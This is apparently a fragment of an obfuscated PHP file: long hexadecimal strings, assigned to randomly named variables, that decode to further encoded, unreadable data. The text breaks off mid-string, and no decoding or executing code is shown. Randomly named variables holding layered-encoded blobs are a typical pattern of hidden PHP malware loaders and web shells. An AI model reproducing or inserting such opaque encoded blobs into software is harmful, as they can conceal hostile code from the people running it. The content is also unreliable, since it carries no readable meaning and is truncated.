64467042484d52572d5557644c7a734c76687879685956612d304c4469556c724a63384c736e3864766d6944722d6677526b7352626f364366445446375f454a4b62593633786f4f7a7541434a4377394a764d53713537577146746a5346346c3638693167476f33474552755f43427a654d5a4e4c372d4f304a4a384470326839476b6a70776c514841313542345676467841717559745145375868644156487a35394d4e46705845336170415a7570556a57304261634834564c56684b487a5f327a436841426a58613635686f6a5955725566726d34704b695048796738686d766766455947454d7475646372715f63477a75342d6e71336a44567632746b4e4c5f7a535f615150356d6337786f467a335232656637577752517944576351694568346e5a4f6c787a364e5559633454592d7a337341464a304448795479796b434c62525856576e4933794979324d366e5335447161337664444a6f655f4943686541624d45474862707a6869625a456833736577534e76776d55755768753664536a59566d68492d5a6d77514f4f3955514336345a4f736137537776414d4e43354a6165425166777065526a39306b5a714f5f566371526a30353666354457715f7246626e385738664f776530664b346c54464c31674d516b6b66636d586d6c764d58616e6a73524857633930324a3730466542365073393974365f6964465a7955766a7377537375474f556a785366737461447a727779585a564651526b335f56555a46764752556f43566b2d306b5634304f6671653678656f574373347134536452685667304c382d4e6c71356133683479596d57433131446f4e33713436686756635a446161724b7a4844775a545762306f4a746e3653312d4a32784572686567367871573373483052763766356666467357366a4e5f4e74444d73437247544b3942425a3262495a6739582d4b365f464c6365566139306d4c316a77794a6f395f4476625a7a694f36554b54794e784c65617a4a386c753055626166377167356e386d566d386d55385458464a5a48797173474436566f6c6b73757a414e4b5266686965767a66476a6c4c71597a63535347786a5579457335384c7a7266303765587948535f616632614d765761786a41596e4350486a657a584a71506e4c78543353316a4936466b737a766941364c535772757537482d516d63477a3869543174395156634d614d48506e636258684768566d57746a716547546b6f7344467650436b6457756439784f7a7744552d43734842713232766739537873797a53416d374c59363033316352464e3966704d7674543169456a3873347978424d52593655494354325441486f666c57584b4e4e725169476a42706d625f4e374d7773336731464b734334486649427a6b42536e43636e4846697747656446596a327554583953434c7a456b6b7854395763654a69776e75323043767a5a6776425775703231744238556d56594643514b49374f4372765f54654f766d39687959427a4d533248556e3833466f785a665359734a4d4d756e7a364c737763574b56636f4351352d777742365f374a4c446c5a6c536d664134673845756d7a5046555a72423871644d6c6c30574762414863784e4152497955745f744e4f4a4373514d32443632767875335437376d3067476d70423157304a416e63747746567164456c5878696a70307039755859334b7a4a546859496354794465755a70392d42706d416b4b317a61703649394c46463363435f4735586a4d416e7267565f68424e4158726a693870617262474f344155595147725035614b6664655574326d78385057563836393445516c51795a5032554c6d66454b50796c5255655546364b794a4f6d656f666c7670744b445079755a52794678544a772d3450714350475055434e5459767a416b5a534654396b734970754c554863455f73615a6f594c49764b43616a4f6e7572465079686859786e64664648677a5f344b587756734d794b356f346f4a764f6767443454434b3263345a5146617643682d50565a5351416d346d71492d4a354171636978776c43355879345573492d7475466e6f464d3133454b33704c36534536694d70526b744c767756763434384463536f66654e7637495a6956314f626e444252734d2d56304c353741737535716270505430395f6e5a6e517778306a6b4849563948783576707636386a386c4e4465654a4b596e4a74475a57694d786b4c4a466e4c454e7039663256504e6f426a6b646973356b7361545a67324562696d32587a4461506e46553958516e6e614c6773574c644c56652d747a336175614457346c6e416339646e385a7765593276735f6b70456772444269735476716153686e6e6e39793339774166525a6f483869746b4f7956683733437333672d795265756f49306e3730434e5a546c6d37393174424e786e674a2d4839516c555a6e4f666e7136365436635a6176374c544978675255504632414658385231374b3145453666347a4c41786f6445636a43416e75706f686e46682d435837546a654875766d5535745a6f5861723972487056505a434162543868766a436f65726e6733346758704e64704843505433663871537037366f424765445130705253536a707867614659524d435f32365534385457494b61554b2d6a6d4d4f6f692d7865372d454b48434272707a36676c4b534d5775314f713539644d4e766d4933744539676b686f452d6b65665755486e654f31556f685142504c514a464750524546613064664a654a55733163476c646c4f374e386576523545317a4a74476d6d50444262633372666841424c7874664767625351336c6f783130313359476635746251573069664e5f397662656154324c65705f7047596b42714b79786368754b727978713868585831415477636454524d3841636663534c304b3773527152545150396b615167566a39553039737773323044447668445669556b3470465a786779643338444254635458416f596837454949424672614e6136644f59627436795962654838596e654f39697353456777564c4879546f38385a374b53652d5343774e6d6b4853775373366f686f315631786a56576e2d437137425a68714535794151566164476c46395434745a7a594857527545536c567650697677454d527375744b5833445259555a34325366514d4f466646677479666661763250506a5675637754586c4c3933614764624c562d6954333466453237467765696773766176354a6f644b695343727a534555312d766c634e492d326576794a6b466b477a494e4947514b6161494e52456c596672614b514731524762694936336273746d4a5866657a43557145484641624e4c4c7a316852584a574e415f576f647754426b663261594763706454304d6d444b5f323650556a4342427650535a485444346734576b575239464b6765455f724146786f3076637264634372306e506e456270325f515747775a347652345361433063576a39454c4365764a746d5556345a396e6a69736d5756344a357471574c624830634c6b4e4255584e612d386e665a4c5f61505864704f634336335569475742756c593032335364526d314a43587a5a5f6371586362373337373146467a42503038736d6f737533534f72364f74313942466e46507358667a41624f5762614976783636304c7431347159553632343064485a63483046375f54446a5a7665527559326d64307761616c4c78434f6b44345367546276336437526a72696255396a6f794c5a59364f4376503767476c344a473032534f7562456c4e6d4d59515a764a5a54747a46616f526b6d34447632787633457a61485770344f796e714877666a5234444b2d58697236497432504834656b2d6d74496e6c6b79356c726a32675442794c2d42504648346e72444c6b4661646c46706b4f51676e66506e354e4448533651356766344c5765764572496135313435525063344f6859544a325763566f41766f376c556b524f494a647a6134315648574d454a695f754b4e414a52655956795a6457514d68746373682d6b465644754c6c7052473857374f44344633707159755a42596d5837382d33687a6b6e564a6b364c736e315266617a56743539753659793344424b736949634879494d443277596c2d61635a7572445572377a4a47566f4b3650786f4e6b7a786c704e644b714253494644422d69504c35715638547a53614666686d507551496d63426c5339667646477a34644d543657376c674d5f6f75666543542d5131754a487962702d635a6f3248775a6a5465694f4262525f516170453134725049454c776c4c38765238324c37676f7975364b763343546348434e7534726c5a425942637a493332354f356b41456c345679676e79752d324b6b44314f74565749464142343553366d51703564794963324c4d62526b576447596a44356e544b546572734b706668456e69556e7271325a63506a34317a6938396550614556784769792d587038757a57646e6642574844485f576f32595459684d6e783661343457436d634a774a494d4c44484e4c7546615574724338633477575a753145714b4135744d47484237515f356d536e417549466a6d664664724e766e33516551374945576f61584a4a7778697a7a4664376b673238414b7a4d7450474f3033314e5f5953765f5a724939726c5972616c3365474c7a573062766d6532593255526c74525062574b5f724167794c4836494f476d45475372574f524b35316a396c78596f356c4c437341785a41484f6b725a436b7972334c335465776179416c6e35635849486a587278727a34742d495977613376646e51485a6e6e553849336a5a494a3137644c4c6457564561706f735f675646337245647a4168677079462d6e7a793851666f434e57462d386c2d42326f675a37367969434b7a327457497445546a2d357474556d50756b46695f764f51456a4a4a6d764c3973347178354161414230535854575773486747466866774e517962706133396862304b576b4c5f6651586b4a316856564b6a752d3863764a364a4c683379364a66484c746675476b704464757a3157463971363850636b454b526b6a3731795a5364486d4765775a35684d794857575273376d30746749425444612d46766a4a7730766339724f4f49444663315779346e7072444f642d685a3445524c4e4d314d7343517a515a565865642d463351766e4849754c4773422d494c715174675772767a42477251656b704343324a6a344e4934314f70755f55354f7a6a505f6e4e74316a6b4a34496241344d53486e6b5451324b4d516f724a7635504a4259377132316f7554644e55736d7a5264324863355f534f556b4352374f7374645942314e584c7a6935546f67525348475870436f43334d4d4d476158563374766b2d7a4c32763967447933684c6d7054484a573443707955737a5639675741712d4a793967537077514e665679334d415363322d52676f57772d59394f564a36393142316145495969424a426b6346574a3531365764686a686d4232464a4b57564a4e793946767862686b4372615a5267672d616a646b686a514a615f5a34466e396d513977327239707748485952582d45694e476a536d393049704158706d523555322d54754a6b7870723571352d485f314f495644653655783853576763716b754b4b79424b566a504c5f5568663155747353315f374c64555f4575337667364d394a68664f67796e434f453770756c4d4f3648456e4e385f62497351467a6b72776b31535a777677667279344c5959723344552d3858454663703577535678437539536c66525a4a43363957597872724146524277704f49744c72725530756444686e6a30724a46543336484669535a364d3665656f576e5a4e4c65464c754f786a4a6878614b726d35504d705444315a514c76616e50716179333567487a667a38535a53516b7042632d4a3231486f54477866644a5265334c5856674a4479684b47546c3273464e704d764b306272734d74596d366b6238485f765875694956786f326234313054547a56547371495747714759617645394b456f57354d645a465f394d4951355941334a51616a46476e354e78563255556d70745253796a54506738754c574254655067685f7150624943462d67432d664559505257777a376d3962417057344173775a52316763455176786c72686450704556314b6474636d737558795142624950735449586c785a4462504e78555a75466d61486869597250736e495a56347671755a7556464d6a3535365250744b79484667482d426c746831474a426b4338344635546346574759746544586576306458434276464d526d4b513752503968626472716e2d364f39714a586e524b32725a2d75754f4a636c61436564446f725376414643423436534c694b757571665a695277597248316e52336b794f643234716661745554675230794c544539687477746347374c61656945456674554d614b4a57586a436b41724d35684343366e4834534347726255614366365158446e64513846413549694531453053673373473838527133493645394d6f487a4c624532623431306d5034646c3866486e5979647341705970714a4859513038667a6a4c334a796863734a56693363654a6a7568326636595a6d524e6f51476e35632d46306375353051665433366c79586949586e364a324e5f53314979494d4d5f39575a734a746c555631534f5f454d357563774836686238506b7076645646527354767763734a33454b30304970346e636b72654c67336964526f43474534377953584f485759477436554c426d535361436b474961583974566b67634844554650777a326f674b7175454756465a36503438456c766256334b4f63346339785655662d3270683968624d5863576e46524438425a5552454a4b39625f416d555a6d6e47726d5f6d417a4b4b47644e37615149384e684d4f4869774d6b594f7865493344576d6a47336a756c5177556845505f78624462356f535f34754f444a71624a2d39414d675a34305436555973766367413537453369722d49746659785254327755537578444c6f533757486c6a5751424c71683779414d4f645961617a6230676d305544456c684736374450626c685268424b776f765a3071592d67785f51416e564a666366737a706546477a4d4153553255395274614b5a716759727634414a4e4f342d36613638755753415a37716672674f7078776e477766475f55676747646e706a715f3178586555506c795f4f376b6b6362324b424e776e55394d7078383867544f562d766a5064514f6b6b324c75366f59634a2d4e6333323764654f51414e46653434514a446334415f43337055526869385f682d35414465487751713763426f326c696f58637a657768716d4a61444441696357376f6d384e4859676647656b486b4a756546523843665469464773425943696e74706f5f75594544446b714f6665567267546d3758544763624d642d61764b6264546e5361434d6c78745947464b4631644672463658464e70514f496e7172366174664c453331673331746e3052634c547250436f70446437424f6a3938466c30555365453972556c3153776650457755426f516e6f384c72644f46343062507065446d62674d4567487854367a6f65346c563867514a596972354e344d505f7a513338792d726634534c4c443367374f6264424b4b4267684565634d62336270306a3367694f654c7176594c524b2d364e307659442d2d48366a4e464a736f3333736b6a446b50367851594d536568355a6371706f4c3253644e4e74685378465a516832655647675a39653353446f77642d7a4f506d66454f454c647335616e63476437473864676e6a36503450663271643238307a50626b4b6e4541707772657a354f6e4d736e38495a3375444a32616d713267364857643561645065666a4e76636f6d6e2d544f697579376e4743435f586e72707a58374f684a5a324c474f78335a762d65315f56547a4b4a37634d697373434c75464a394633335262746e7063646574484a506c524149705f55354c6431665a663775466f697a5974703049537055755f4846753354654b615f55644d454448393236354c6d70764d47794a6b7a305f4e6d3539716737375550735357464639474e314d3379307967315a2d7636786163336664683142686572784876387258717470324c53786c4a59526a5676366d487941663861634c6f46484448517764304730364d43435a6a43586975366b527458746b353772433247785a423241336b544f35676357743469306d7a576e6e474a57525f465679357655596b5f48373939596c334f376d6867667266566956545a66425035754371614c36415f5f4c6e494b776f426f485538596d303753517830546b746b632d776436324c5871334f766573334d316a6f564c51744663586741724b586759647a42444153326f356c49576f425f4b37563130325a704a383771506254517a75376b715f69344563627166627a3838383438635530493256666d353533424472374e7261454b594e6c36633536674b3955447444774b377857797248427935446a6f3238633133515a57533937654d4654354a6276704c71624c4576704943734473386b55615848347a643969357155446d744c4638365868597a50495043332d6d493570796d5531576f6f357546765a5567567150626b612d32307845583966747962795844435f67696e4e463753424d6f783547534d63364b513743676f4a42457a465343765744346b4e3173436353374d6c786753514f61333357374457614358463652756e6d64786d5979646536384a7a52622d344b7959305a7063644d59326563322d416250706f4a35784b4834506666794a4663464354542d4e6e7766586f7a347934724b39675448616e6b5557585353616e7a4e5a4b48506566566e5232734e6846784855355670784874493568617777666e5448427462586d337630494c47496d5653336168434430504150575f5163323262596b5a6530736d57725168494f3231765f5966784b536145334579324d74513651496a374f733933526c76776259776934703730567a3161736d373531765a754e5a7130734b557557535f523056354e556965745a786467687770386256'; $_dstx1d8b5 = '63426e75474d724676566c42564378396c395a4d4b56352d4875427250755151763469517868465a6d586a2d6163413950646e4359694966723148676663536a4769574c73544d424c4b3938386843536743446e6e75764d4b454e4e46726563475f636331705a4b6254314e6b51634631525972666d6f56307248425076534651326d786358656f362d37535f497059787a775132684265723279586e6b67737438556e4a35624562336d3476704d515964356f796770736d564261685945335176466b6c3330685a41426d727236666432694c4139696d4670634a786a57697a59475a314f357270614763497950337a6d6535643966435256644d7652656e582d6e656461623261766c6b7a4e626442794b614865646a6e416661735443334a47756e51306637496b385767356767304c71396e45566b51487a485245744f6a5632334b565f4758626a6d575058784c394b5a444948367a565f7053553442533631345f57467054364f6832334b4c656c466b37564b5075564663767a536b67547865356a306a557572572d65465476615048533472547a7a615a5550784d3965657a33484c686f4b43392d3462564a71484d775a2d76707a623553636e734e374957515a5768446d3337463136794c7432662d2d48674946716477476444354c786c335a36555268437738756b3033505939795734657454513749796c69705267352d436a6570546f6b6e575a683241636f50427a70456454524b2d5f514e313348466b55627939747a426179653547752d307878524d7a386c612d5a4d4e4961716a51777433625a4a6f304964362d3279687238755747646176454e5971796d6744534b6146494c666f6d4b5473637561776555315937326d7450544f775374786538415950516e6f724651416a4c496e75775a4c62776e6d644b446658457930453671644e4f6f7669627778636468372d66412d6f6b54516c736a4b61545043387a3078586561526c366f364e627053782d36546d774335677a7a796d30725269534764756730756d397554536d42426f2d6d49643539434f4865684f52656c6a4341492d6d6b61325a314768726f4a5652454c6159755a554363526d615143785363746a6f36356d41444e315a656a2d4c5a4c5861327a734236516d4655496d6e6d576762766e706b7754436173754c5a58774d4735712d3842443454484950477433756e3157544a3638345a696d58486255584b467372665679314433316573616f7649535738466f463637694137514d536743364438384d4c5146354a6b73364178574e61774b727636746531343076305a76773448756b386a696f686d5441526546506e7a45546b5f4d447a414977567272546b7349564c7a736e6d46746a77566a715147654c63757356664d336a6c33534d6c463658703968514e4b4c7a7a39465568756a664f6a796a6d4538716159426e66395431774c536b78426b7a636d557438766b557a53732d48752d3042484a4259546237725a3258626f3358664f702d4641474c6e5642782d5550435a497a41396d465337314c6a32594642777270346e504f594b67536c71596842654a7a33656d383463764d62414835465f514d70586175685951766b7779555679685445333236474631676a3255696154346c565954565f414a7a774e76536937343139434e454e6336556f584139673470644d59725044464e3458614848716e62334c6252783330524c466f6158587045646e455f4b6f304a364c6d784936413753415162466e686a7a5f75786241644b324a4171395a544b464c6e7647393153676e4355734c684362595239364474646a474b746a44546a656f6d53664754626a584f71654250533558756f4258774e7a334569544e715232352d5f74377a75635733326b464a4f6878757a6b67622d374c6336794e414b486155726878325078564b524238476c38446b726b6e61324e65533474315152654648494f395a36793173356a63586c42434874723871784f4f523546473468436f74506a66636e37354b797468753159765f686d50466a4d385768304d344d564b7931754c6f79656c306a57454536503958696177523753534b544331426c634e4472536352354f73516c65746d4b6e59396b324b504d4d63646b4c73323047586b4950587939375a49645252755473363739347a6259584e4c366950375a4864684b4834397253454c56367a6b376f38353178335363616d7475504d454e4f7a485f693862646d5376435564353765556c35796e2d67516d63583964305179763062446c6e517a7a68647a776f573343725034477742667a5f6850696a4c7a4d734953734d535a576a2d75723563336a59744135306577666c3062426f6a45656245337161465262564972665f5478664b3652624c6b4f3257524f787a516f703862735357664f62434c5533376f575051586f672d7235474d777042497a53783353767a5972463446743936466f5a6e4c424a6835534f5f4a4732636f323761544669484364596531716c59346844363633654a726b724750465167382d6d62564e5a704c50373558427a3553764751715941514963436d7770516e35495551484164524e7167364d6a4a54514539645f726d4c554e564e586b384e614c616679656e425a7971725477494f74476e7a587a533141364b57324f6b3843747064386c4f58486a43327070756e4a363369446c7234536230684d39315a58667645396d4e5f42397057444a61474d66544f344a757a357a51637363393652336c5a353079574652474b4c5a636272323842622d68574a4e5935464e4f713459566b71695f7050685957354f3244486a71463677426f36614d5f596632663631414b384c36396d4d5146327662436145466a70346e79536e3773516355743042654572305f65776f4a352d75657a304474524577354b675f6f6e466c6778687a586a2d7061456d43637830686c7a3638415a797577506f523456447159527431765f74304c4556576946795f576a6e4764724d635f32383662516358734862524933513745656631397431313767584e71785a6d6c684f5f6862427a705f39713234724466656d395845714774546e6d5230323571716e6258627555447756384e61536c7363373365336e6c4143765354336a3035363873545a536a66734f4144454d5a596473667242772d78624b484b6b4f69384f44644c385f354b783645564a5549476e5f4a3570586a44774537484d617536536353524a3575575f6559724c5a494869365273336631577570346c626c4e6e334157337856444d386150725459666a704271537849734f796a38377463446c6f777a7a4269533243667a626b4e6a31434936696d35566d2d6b5a49355030715a55323236526776546e664b467359384c455961364858494163342d4e6b5048714d6f356142454d444b37484554432d75585767486a796d6b7058563072316346455937316778654c32676c374155514c4e753142364a6d356b6c707250373049675f6e527a4a2d7a36666d35336a484e4866495177584437346a4b70384b626d39735155584b78797436315961316e75334b30546369676c6f59585a31317233306f71466b486b617954457332703156706c337a6c383872556368514d64455369584175383578494a333279354d794e724e43653554354d4d48354b6f3977434e36635a6656455768456c546d46524371716d37644c78646b7977377948734b524b434c5371324f764b436c68656c3852784156545355705a7a734d707952666a6535583632383468627a4c6a375a356779386241674b6d483264747739714146314f4c2d5f694b53654e5a754448575f4335474f6f7978675569516d314c566e6b7572356f746e316e4d744771794a437232306a565531457935744c515854326738733852326f77772d54583034396776334d57756268764b69706c754d4f30346c41456a3842314e75726d5578733439596c5241634b516e556f6a4d6d30486f67697879515a4857666d706334786e715a4478577a6a4e585358687976756c72536f4e504d6638314f4e74525a797467446d6b4b734a6c39763539645241697634687057745f77775f647936796759637857684677795a696648637378437465523263377933396a3155544647493878636d5f323031645949665a4236367359547271554b3838316935754765616c59566a66307a4c4576436a596a49614d425a62303269776b5f5a4556536c73426d754c574d5930394534365f495642755869456e6f7233464a324664685871316c63494c746c3844734b6f50624f543475797172676b6672574d4d2d44592d72553237744335763068736d4f61477a514146532d7a52596377506f4c715f6469704f3352466a692d547177724e5753764b69656b4953486149516c74754a34674432474371516d444a6a7777644252537655436f7a587751734171466e707a4a544f794375596b724f4a514c6c4635316736637970754f49586f6863583956656f71317538496c39557432634c6f2d6f7146384e5355726839426966744439486831305f454f416d7543437434435157364e4d785665616a546865724750726e6d51746859695647587a6949386e6644724e594b6b44534f7436654e7041766743596b57755541305158392d6f586f6a52494951444f5177364d6d56424675785542415674586269635331416a4f78345358636837396a64557964494a33516f6a78567a67774a69397a5f4970414a566968534235736d474b486d3144722d3857476c674875376c71336a36446341462d4a32303643354c593452756d62496f6e504e4d63695061776f635077484d5747615f324e57536e53696f31636a684976484335346c515675427a42726b4632366f596d3679633272616776535a6f424547723541774f42303459474d4c5f567365396a6c6c686e586d5636386c4456757248434864413262657742793930595979746c357151304842526c3952786f447a324d715a4965776b336854627837496b5a7979566d326f5a6b6e78514175427175546e73336d5867574d676845543343795158503575433756776a536c77694967696d58786a646e794a74774b52615349675654726a30707968514542724b5558354a31707436363370785f524553546762546c30427244626352656536796672376356316d5250367843394c764d444b7a5763766a6c64575149447078336765776d6233643237543636356f75634e4d6b6976336970524a454d3831375944554835426855367171426e62456a446e4d4b635f4b6c6577346553354445536b6c576f7a316e427361787858325279385073356d44656f573339363038584a737a774d6f6f445a7339764a795661516974644f464442786b6f485a7072376f4764434347745937574567494466777535315856484f6e4e6f55736942706b6832515368727332567549634435302d633535566e5f4349537a524e6e534e7345334d54437953517731717879647173726777684d35735a655168474f5a4a56464833465a345576714e67625f5a654c326e574e796a5374457a34484d6c4365547635733378706b553253675656726550564a6867686141636c73454358304d51436467342d793973572d2d5f4d59786a64765551624343333974436633724937736572624953474c454a6374465530495675376534417647496245632d756b614937466a73454a446d4c71614a4a463542614146564743766e6f4b6e4a7a376f38567a4e32696d4f61573073356e59666571346b48797570624e4d614775397149444878543138394e4b4e32584577514464725958416a5a4f3231306e71795065796555586f39785376543055726c396b336845574574366663344733314e30657163493075353534497a5f7836532d51344d77796e3071373865693859706931343762596b4f6d384974476349354369596151344b61346e4f61476c745a745236725f6b396d534c54646b6a5468455857342d6262626c665075716b615a4e78517155535f4c484c476373733952355a64416f4a7675437137574f6e6958434d346b37717a707a6f586137672d333877533241695a555f79423859524d647332684f30706a42695774363634734f4a643345564d6145504646715861494b48552d71457475434f736343656c57514457442d6643764d384b464143464e58547641446837646f41312d73446b6453796e4174622d53726347746e716c7a7a3536484d3278495761364459344a65625a395543793748466a4946495f4342673769536650596d6d7569414f77666a6544386e527454744d4f656167796c63345a696b524f69386a44355a4b7869416e424639464c6e6f5736784e4b417572764e4e6f4d6d3834494c43564e2d4f667a4572396e504537473471434a56725250724a5f6e653734537550696450685773316d556a6c43456d3169436b687645776159587531383739586b706170484d536e394f7868714173783839496578564a4444597338734e31536f3069332d6250624a5062533779734f7269536f64376b39355f585a4e596b6b49674f4a723963384a54346655316b6b31547174626b6a5f7565545239714d6c617354314a796c756a694c314f50787957444255414573546a5f4135734355324a714b352d4b4b30766b594479344d48466130666957667136727352737334566e777075346f5155706c6f682d6f4d7666666f6e68774b76577030376c466b675a57584b654e38426d4238514d51426757444d4477716c52687951434c66506b7079633432564562324b4332595848776863737739426c764b4c375565586c494f52434c6238534b4b434d7544646c666f4f496d367a524952324a2d474550784c6e634a625073555439616359666f5167304d444c6759674f786341372d465252774139487169516542653171493177457338303957632d554e69775f597033494d795937667a4e314458456a6c7277766c79666f4e79455a4e476d36493647514c46692d7377504e52596766772d4b493154356768714a32354235374d64594b48414f3659615836766d526b393566674f6453596a496847774c526339497a5f7172317034574a3452356f6178553354345879576f383862734d327956774335796c644952736248483533655f357677524e57454a684a36545a444542343950685a6d4c546f4977496d7367677644754f6767662d68684246744742754c5f4e5968375a5a5a556533336667674a4e4e5641364e594a3052657567644d376a725678334248355561566d72314e7a32544e61617530615879474a627853344667315543685a582d6a7431356275465a41515575315a63346675654569503674524e766e4d4b703245337974512d4e656d33796a346a4a584165492d2d5674655653416865685a3034707a53635734507334634a6931736e6f375735314a35524572657262734a6d423568706e586373526876315052705164696f4e41746b6f767a436f73666f42536239776d675f62524f6f70555037556743576a7862494d344952734e576b70456d3154372d64704c4e38354e5554303639614636646e6b3171716f534a576358633873656f4e4b46367432473836594c467a6d7a714831713435764f4a6c7530623937373478796c47623246785f6f546c5330792d4e71364756503263312d58576e6e734a6455576d59464a754b6d6f626e7a47444b66587944397778495267336a53707642455361386e442d3370717567306b332d6134314a4c6a53486d54643032664952787a534173775942476b705165534765624b6b5a71576837413651334f467976426b58696f476e785655643637355f596f66564552756b5063392d5742595846326c554c636935514557456572416f33396d6653695830336c78657a776e7541515677622d7a5478624b76516b36566a4d4f486b594254364e394f5459676d4d55395a566c6341474a315a684d5744444e464a3164325a523342474d386d396354426f35395476306637716646394f4b4e506369467934616f342d6b3948497343567930353153544a305772756762344452554930455974446a4a774e52413378715975746d33694b736f627a32746c575050452d694c564330593937576567497864695844437154664145447a4e675937376b475a3277626469634d6b7248647559613237332d67634574632d443148545179755667714f41316d317845536d31545a6f7072337031796c3072732d344a5f6c5a474f58585f6245324278684f6a6557724d6847764d524c7050304f66465868586d6c6a73765630735836704b586336615078796369665862382d41764e516e5947496d4879697645516a307161627030334e6a674666792d6a5555315a6a62426532636e707a774874343579616e6f4d396868677557336164354870686f6c556e7659643552524f335144347957566c567051636e4f686839554c35506e357a57426966775f5f5f576b3379394133695f3743363261654b69696477323163396e394e524978684267366e34734a5975706841656f533264497a787853326c5335785245586c446b5646666774574d514e76586c5375516a316f44577973435f5f4e395f7337755f6770395f41354b717377714d5f6d7862666a55544776756c6b6a6e38693067694e5451476e6164506d33307a6336794d7431677343644153495a52536f585f7968484a385932493649396a382d6b3576636156507333584d502d4c514e35694e7a41304c784439547263374f5757414a7359354c536c6d65466530337161624d5059677553325555354b6a4d717a32324469306278346b4b5149343968797251764d357a6c39666b58794f4f5536696d63704c6242625866783563377051504a4b3233644b734979416b6f354e72363435534458577452595969717748497a6869676f6574466c365745426e6c67536b6862585477325430636c62623752584d5f7370376151566773595769334b4174633044744c6d5a71364a4a34396b317879686370346b384c36426d712d396d45465a56524236355333784353616936565437595f7a703446645f3470584f61755748725f42756b52784e6f346b7231734f33586343586e6953554b636e4b354273647437564746454c5a76776447705a796378505a57744d6b55726d586d36745749766b2d4a50586a64393774344c445358336d576f61436266692d587944524b75757a397a345975316169456d5974316a7877326472373639305637663731393733496f58536c616e44433967575a57395572307361356f6a74495752686c3076623076557065316e38676c7970307479555a6d355a50767a337753305f556a396177414d6a736f73426d457445515561416d2d7059485451764f32624b2d5a3556576f73676c4931526446547a69506a7537534877334e3667436b6f794476533044384c59306e746e74446d4b72555f6e6c74615178686d4271545742547865784d496a3166614a58754b776a4339765a6355416b47337553366562577647706d6274344d676e75323138712d54347075664c4437586e5f39344e6a75587a4a75713957503548464f31675f5a63634e4c306a31635f382d593251324c486259652d3748354e7a3776772d415434725879557a476862675950774a303964614963333270434e507956725f484e62365045645f3838617877664f6e4635464a7132396d6758655a35782d376f79536246723977303432715851717771677736684f5a41456c787553704678705067553958696b7a516f31456f6c6543686f48706344314a77686c375463474a77687133665737543532505a6f545934386b566f423970354e6531355a53465337633943683662533575487433426e696a38534d6a75375f6265754a617a755a307148485444706d415a2d545179374256324b45705f543868434944755a614d39314a54795a58524873626e30334c657643345839345347563046466a72796869453663575768376c67715f2d35586f4f494433544f3868356350676d6f4c6770485242507a65644f67302d6f51594672306633756f32643043734d4e5f5052634958686e64633538724832706d4e4337304b714a7872686e61543951446765522d5061754b314d527268616a577a51443438436962434a54564451624f385f573142506a3743556539737a446855564137616f52335864316e367a394e454b754c42747153515f467663462d61684c6c322d63507954304b5237473330694556564377314d37555f6f785869717642764965727870327a6d6e477236766c45753150696d53733262535356396776754a6a31445a4837554f7a35734e77484e6863'; $_hdlxb5581 = '644a5f397a744e746a4b31785068456c6144394d37767959686c7066754c6d4c6d6771776d556e3530634b6131635258724d7851744e396c586a414e517731713478534d663534727a794d7644487a7561415632784b4e6a577247774c452d683961306258366866364149374878534c61466c736d63734b3962676348784b547750744b7a7252725043666f33496651634e30626645656363424575775f426a58656a4857736b4d35684c3169797a6f4b6e755f6730344e506d5669536e6e6c7944376e7853576c724d74414c582d79735f6e6d6f4a585451626b79384a62697a6762395a6561656148577536654335506a4b667041526833376f38646257744d3163685569537065644d7a595535687335446336347874572d71566c706f444e3255342d6d4e456b546a636d5f354e71474352344d56726d6862574467573270334355775a6247534c4e3768472d7667704154764137396a554456465f56614e666a3149704c3250457458706c4f4e756239386d727a5f314a6f4e54546e597632726a64475a2d4143437159544536774d6f6a6d61537665453159556c6b3373554661583047784774796b4b5a586955623343653044454d6950796e544751664a587655346c315a686444754a73454a555575674f385856716d487a6b616f36666f5439562d335a5854445a59777231355a707936426e5564785a6e55587154356b597841335f656b5a5731354861622d304c647949394d2d52796650783842582d76315f633741706d43614277566a42526b715436507637697439554567484345573272354467564751676a4531744575725165325f6466744a764d4559314f6b5431374b347254424368426d56426752357832365238634a5143545f683744413134623048746e4d7644666f675a5358673467696d7863565854494d424251736f753851554b78645f4475514c764b4a34313866514b4758586f454c303556397374334758597434727074417135452d33547677564c6e704b594e393941316f776c616f687a5336786a4b46512d4d5f3972754b4e6c563452755637467577367a4e4778634441554a3474626d476b49745a41623665324661343878533176644f2d5947462d495364776634355961456b743636436d6677796767554e574f323051395a493162795371515163384b796d486e647457353847673136596c36767949754e31446a48787962734f52415639726d72324268694f534f36707657615539462d546456306b356d6f7435495739503862776b4c63554c4b6d783767696d50563467566a716f614b71754279305a556c7348395964525852436368395f49365664587443555977783556436b495156614d77694b576e38684b5f634447414b7a764567636b5f726c33456a6471725231737653474b5678446173644463374230794a35344364673564465f744a515a426771664f744c554135384d59507746562d4d6f5f34614e42635a323134394f597262556e34465955556748447a6966555a3736674576427a58417a41696b6d41637858585f4d674247637259365578422d715a436c4547636954717337586a53584952556c76587666797a664c42726c394f785679386f66346673545430526e31666c4f323378497a576c586e787566314e5046326d64473878726d4e5278645554562d2d676d74664c326b6a336f36765476535f6233623648564f53734a366e734263796d7a5043784d613834435633546d6f43424f446a63756e586e6162525439734e4d6f354f62777533314d6b324747526e38467972574a374d6e75326c4c486450413556705746717676635244736c44315139344151567243636f31365a4166686d61747233457547685a7448306e3031343676355032686765495f69634c472d644e5247526c76535a49676e3131364a6a64534c544b343177694575785666654b434937355a7466716247625873526d6a536d327733555964614c595f4b49656a51576c343038765871616c4b5a634f467662547856795576777441373279597839677551455058307841356b396d6952536f384970616147347677496173786944535a5a383847716b6a394f304179567a6e446c4b5235647450705f374c7953526c4e5730356f616832524c317949523555734972766b7256577170566555334663304d3332474c614159597a72434a4c2d70317774415143365263587a624c454549547351386d74625239777833575f75706f7a54386d624f3937386a31374e362d616f3830566d4a30365247694e7359326d322d74716f71364934316c6250666e4835704e46436a356a766b6646414e394751594f4732314b5a76507943707a5f675056357651316a724e5f66446b78657a3074347373454c694c6a663463304c787968517057544b3357344f41414e705f4a46486a3532644f4a75716a73773363506c34533638596c5853357a52412d6972703557614c7a4978706c373151434649664f32734768486e7a557934354d5579307752545367522d69426b74466a57525352377973733950636c61663339735168665652516a592d4845506a56544630422d376f52504b4e726d5144625f55726b53445465673872727379696b4866626e754138344c7a4b5864565a637135625a6851356c622d5f30524d36797a456358426e57494c6e4a304b6768477652583264574a3259516c73464f597436667945723179624567314c32745a4d45664d44694e582d46534a4563703067366e717068497835495145796b6b586a6b4838704659625f633357623050374731306171326f36753762756d4358314461567a4e334865577173615956575f7261462d5348424777315775534b494d574d72322d5231342d5363704b6c69396545455271335f31683773783341506f716a57547247564b4c42734a6841713841467249395463696349636b4d504a55374c67577a754f584663346d2d57533253506556562d38376c445548444d354e455231717475334c4578695